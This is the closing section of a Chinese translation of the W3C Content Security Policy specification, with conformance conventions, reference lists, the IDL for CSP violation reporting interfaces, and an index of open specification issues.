本规范中的示例以“例如”开头, 或使用 class="example" 设置与规范性文本分开, 如下所示:

这是一个说明性示例。

说明性注释以“注意”开头, 并使用 class="note" 设置与规范性文本分开, 如下所示:

注意,这是一个说明性注释。

符合规范的算法

在算法部分以命令式表达的要求(例如“去除所有前导空格字符”或“返回 false 并中止这些步骤”)应按照引入算法时使用的关键字(例如“必须 (must)”、“应该 (should)”、“可以 (may)”等)的含义来理解。

作为算法或特定步骤表达的一致性要求可以以任何方式实现,只要最终结果是等效的即可。 特别地,本规范中定义的算法旨在易于理解,并不打算具备高效性能。 鼓励实现者进行优化。

索引

本规范定义的术语

通过引用定义的术语

参考文献

规范性参考文献

[CSS-CASCADE-5]
Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. CSS 级联和继承第 5 级. 2022年1月13日. CR. URL: https://www.w3.org/TR/css-cascade-5/
[CSSOM]
Daniel Glazman; Emilio Cobos Álvarez. CSS 对象模型 (CSSOM). 2021年8月26日. WD. URL: https://www.w3.org/TR/cssom-1/
[DOM]
Anne van Kesteren. DOM 现行标准. URL: https://dom.spec.whatwg.org/
[ECMA262]
Brian Terlson; Allen Wirfs-Brock. ECMAScript® 语言规范. URL: https://tc39.github.io/ecma262/
[ENCODING]
Anne van Kesteren. 编码标准. URL: https://encoding.spec.whatwg.org/
[FETCH]
Anne van Kesteren. Fetch 现行标准. URL: https://fetch.spec.whatwg.org/
[HTML]
Anne van Kesteren; et al. HTML 现行标准. URL: https://html.spec.whatwg.org/multipage/
[INFRA]
Anne van Kesteren; Domenic Denicola. Infra 现行标准. URL: https://infra.spec.whatwg.org/
[REPORTING]
Ilya Grigorik; Mike West. 报告 API. URL: https://wicg.github.io/reporting/
[REPORTING-1]
Douglas Creager; Ian Clelland; Mike West. 报告 API. 2025年5月15日. WD. URL: https://www.w3.org/TR/reporting-1/
[RFC2119]
S. Bradner. RFC 中用于表明需求等级的关键字. 1997年3月. 最佳现行实践. URL: https://datatracker.ietf.org/doc/html/rfc2119
[RFC3492]
A. Costello. Punycode:Unicode 的 Bootstring 编码,用于应用中的国际化域名 (IDNA). 2003年3月. 提议标准. URL: https://www.rfc-editor.org/rfc/rfc3492
[RFC3864]
G. Klyne; M. Nottingham; J. Mogul. 消息头字段的注册程序. 2004年9月. 最佳现行实践. URL: https://www.rfc-editor.org/rfc/rfc3864
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter. 统一资源标识符 (URI):通用语法. 2005年1月. 网络标准. URL: https://www.rfc-editor.org/rfc/rfc3986
[RFC4648]
S. Josefsson. Base16、Base32 和 Base64 数据编码. 2006年10月. 提议标准. URL: https://www.rfc-editor.org/rfc/rfc4648
[RFC5234]
D. Crocker, Ed.; P. Overell. 用于语法规范的增强 BNF:ABNF. 2008年1月. 网络标准. URL: https://www.rfc-editor.org/rfc/rfc5234
[RFC7762]
M. West. 内容安全策略指令注册的初始分配. 2016年1月. 信息性. URL: https://www.rfc-editor.org/rfc/rfc7762
[RFC8288]
M. Nottingham. Web 链接. 2017年10月. 提议标准. URL: https://httpwg.org/specs/rfc8288.html
[RFC9110]
R. Fielding, Ed.; M. Nottingham, Ed.; J. Reschke, Ed.. HTTP 语义. 2022年6月. 网络标准. URL: https://httpwg.org/specs/rfc9110.html
[SERVICE-WORKERS]
Yoshisato Yanagisawa;Monica CHINTALA。服务工作线程。2025年3月6日。CRD。网址:https://www.w3.org/TR/service-workers/
[SRI]
Devdatta Akhawe; et al. 子资源完整性. 2016年6月23日. REC. URL: https://www.w3.org/TR/SRI/
[SRI-2]
Frederik Braun。子资源完整性。2025年4月22日。FPWD。网址:https://www.w3.org/TR/sri-2/
[TRUSTED-TYPES]
Krzysztof Kotowicz。可信类型。2025年1月10日。WD。网址:https://www.w3.org/TR/trusted-types/
[URL]
Anne van Kesteren. URL 标准. URL: https://url.spec.whatwg.org/
[WEBIDL]
Edgar Chen; Timothy Gu. Web IDL 标准. URL: https://webidl.spec.whatwg.org/
[WEBRTC]
Cullen Jennings;等。WebRTC:浏览器中的实时通信。2025年3月13日。REC。网址:https://www.w3.org/TR/webrtc/

说明性参考文献

[APPMANIFEST]
Marcos Caceres 等 Web 应用程序清单. 2025年5月5日. WD. URL: https://www.w3.org/TR/appmanifest/
[BEACON]
Ilya Grigorik;Alois Reitbauer。信标。2022年8月3日。CRD。网址:https://www.w3.org/TR/beacon/
[CSP2]
Mike West;Adam Barth;Daniel Veditz。内容安全策略级别 2。2016年12月15日。REC。网址:https://www.w3.org/TR/CSP2/
[CSS-ABUSE]
Chris Evans。通用跨浏览器跨域盗窃。2009年12月28日。网址:https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html
[EVENTSOURCE]
Ian Hickson。服务器发送事件。2021年1月28日。REC。网址:https://www.w3.org/TR/eventsource/
[FILEDESCRIPTOR-2015]
filedescriptor。CSP 2015。2015年11月23日。网址:https://blog.innerht.ml/csp-2015/#danglingmarkupinjection
[H5SC3]
Mario Heiderich。H5SC 迷你挑战 3:“Sh*t,这是 CSP!”。网址:https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22
[HTML-DESIGN]
Anne Van Kesteren;Maciej Stachowiak。HTML 设计原则。网址:https://www.w3.org/TR/html-design-principles/
[LONG-LIVE-CSP]
Lukas Weichselbaum;等。CSP 已死,CSP 万岁!关于白名单的不安全性以及内容安全策略的未来。2016年10月24日。网址:https://dl.acm.org/doi/10.1145/2976749.2978363
[MIX]
Emily Stark;Mike West;Carlos IbarraLopez。混合内容。2023年2月23日。CRD。网址:https://www.w3.org/TR/mixed-content/
[TIMING]
Paul Stone。像素级完美计时攻击。网址:https://owasp.org/www-pdf-archive/HackPra_Allstars-Browser_Timing_Attacks_-_Paul_Stone.pdf
[UISECURITY]
Brad Hill。用户界面安全和可见性 API。2016年6月7日。WD。网址:https://www.w3.org/TR/UISecurity/
[UPGRADE-INSECURE-REQUESTS]
Mike West。升级不安全请求。2015年10月8日。CR。网址:https://www.w3.org/TR/upgrade-insecure-requests/
[WEBDEV-STRICTCSP]
Lukas Weichselbaum。使用严格的内容安全策略 (CSP) 缓解跨站点脚本 (XSS)。2021年3月15日。网址:https://web.dev/strict-csp/
[WEBSOCKETS]
Adam Rice。WebSockets 标准。动态标准。网址:https://websockets.spec.whatwg.org/
[XHR]
Anne van Kesteren。XMLHttpRequest 标准。动态标准。网址:https://xhr.spec.whatwg.org/
[XSLT]
James Clark。XSL 转换 (XSLT) 版本 1.0。1999年11月16日。REC。网址:https://www.w3.org/TR/xslt-10/

IDL 索引

[Exposed=Window]
interface CSPViolationReportBody : ReportBody {
  [Default] object toJSON();
  readonly attribute USVString documentURL;
  readonly attribute USVString? referrer;
  readonly attribute USVString? blockedURL;
  readonly attribute DOMString effectiveDirective;
  readonly attribute DOMString originalPolicy;
  readonly attribute USVString? sourceFile;
  readonly attribute DOMString? sample;
  readonly attribute SecurityPolicyViolationEventDisposition disposition;
  readonly attribute unsigned short statusCode;
  readonly attribute unsigned long? lineNumber;
  readonly attribute unsigned long? columnNumber;
};

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

问题索引

这种事情在任何地方都有规定吗?我在 [ECMA262] 中没有看到任何有用的东西。
我们究竟是如何获取状态码的?我们实际上并没有在任何地方存储它。
样式表加载尚未与 WHATWG HTML 中的 Fetch 集成。[whatwg/html 问题 #968]
这需要更好地解释。[w3c/webappsec-csp 问题 #212]
对执行上下文执行一些有趣的操作,以锁定有趣的 CSSOM 算法。我认为 CSSOM 在这里没有给我们任何钩子,所以让我们与他们合作,将一些合理的东西放在一起。
如果我们打算在这里使用它,我们需要某种 HTML 中的钩子来记录此错误。[whatwg/html 问题 #3257]
此处理旨在减轻悬空标记攻击的风险,此类攻击会从现有元素中窃取随机数以加载注入的脚本。然而,这样做代价相当高昂,因为它要求我们遍历所有属性及其值才能确定脚本是否应该执行。在这里,我们尝试通过仅在存在随机数时对 script 元素执行此检查来最大限度地减少影响,但在我们了解其影响之前,我们可能应该将此算法视为“存在风险”。[w3c/webappsec-csp 问题 #98]
这应该处理动态插入的内联脚本的 'strict-dynamic'[w3c/webappsec-csp 问题 #426]
目前,HTML 规范的解析算法会在§ 6.7.3.1 元素是否可设置随机数?算法运行之前移除此信息,这使得无法实际检测重复属性。[whatwg/html 问题 #3257]